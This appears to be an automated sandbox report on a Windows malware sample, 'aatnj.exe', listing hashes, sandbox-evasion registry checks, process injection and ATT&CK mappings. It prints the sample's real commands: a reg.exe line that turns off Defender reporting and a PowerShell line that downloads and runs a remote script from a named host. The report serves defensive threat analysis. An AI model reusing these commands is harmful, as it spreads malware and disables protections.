1ee6f8e9bbc53afa81c39326d5748c6c4322d2501c42adcb34f5b71bc34ae48b

General

Target

aatnj.exe
Size

39.5MB
MD5

2cf766692a75309734b08b3bd8cc36df
SHA1

a003224582db124237e8c879d795aefe8d23b22b
SHA256

1ee6f8e9bbc53afa81c39326d5748c6c4322d2501c42adcb34f5b71bc34ae48b
SHA512

a28bf5af4c30152bd89d23e5295e9a6faa23eac6f312d7841bfb4664fe725bf42fed2fe4bb65c164709d6aa98a5ff66cbb78ed86396be975d2aeb1386afcda2c

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://www.allens-treasure-house.com/books_files/001.ps1

Signatures

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

aatnj.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_&PROD_HEARTDISK\4&37CE57BA&0&000000	aatnj.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\DeviceDesc	aatnj.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Service	aatnj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_SANU&PROD_SANU_DVD-ROM\4&37CE57BA&0&010000	aatnj.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\DeviceDesc	aatnj.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Service	aatnj.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

Processes:

aatnj.exeaatnj.exepowershell.exe

pid process

648 aatnj.exe
648 aatnj.exe
1524 aatnj.exe
1524 aatnj.exe
1524 aatnj.exe
1524 aatnj.exe
2532 powershell.exe
2532 powershell.exe
2532 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2532 powershell.exe

pid	process
648	aatnj.exe
648	aatnj.exe
1524	aatnj.exe
1524	aatnj.exe
1524	aatnj.exe
1524	aatnj.exe
2532	powershell.exe
2532	powershell.exe
2532	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2532	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

Processes:

aatnj.exe

description	pid	process	target process
PID 648 wrote to memory of 1524	648	aatnj.exe	aatnj.exe
PID 648 wrote to memory of 1524	648	aatnj.exe	aatnj.exe
PID 648 wrote to memory of 1524	648	aatnj.exe	aatnj.exe
PID 648 wrote to memory of 760	648	aatnj.exe	reg.exe
PID 648 wrote to memory of 760	648	aatnj.exe	reg.exe
PID 648 wrote to memory of 2532	648	aatnj.exe	powershell.exe
PID 648 wrote to memory of 2532	648	aatnj.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\aatnj.exe
"C:\Users\Admin\AppData\Local\Temp\aatnj.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:648

C:\Users\Admin\AppData\Local\Temp\aatnj.exe
"C:\Users\Admin\AppData\Local\Temp\aatnj.exe" /C
2⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
PID:1524

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe ADD "HKLM\SOFTWARE\Microsoft\Microsoft AntiMalware\SpyNet" /f /t REG_DWORD /v "SpyNetReporting" /d "0"
2⤵
PID:760

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://www.allens-treasure-house.com/books_files/001.ps1'); Invoke-MainWorker -Command 'C:\Users\Admin\AppData\Local\Temp\xswbnvwzoqhexknsvyncuisejgi.txt'"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2532

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

Peripheral Device Discovery

1

T1120

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/760-4-0x0000000000000000-mapping.dmp

Download
memory/1524-2-0x0000000000000000-mapping.dmp

Download
memory/1524-3-0x00000000027C0000-0x00000000027C1000-memory.dmp

Filesize
4KB

Download
memory/2532-5-0x0000000000000000-mapping.dmp

Download
memory/2532-6-0x00007FF91E230000-0x00007FF91EC1C000-memory.dmp

Filesize
9.9MB

Download
memory/2532-7-0x0000018FA5200000-0x0000018FA5201000-memory.dmp

Filesize
4KB

Download
memory/2532-8-0x0000018FA7D30000-0x0000018FA7D31000-memory.dmp

Filesize
4KB

Download

Analysis

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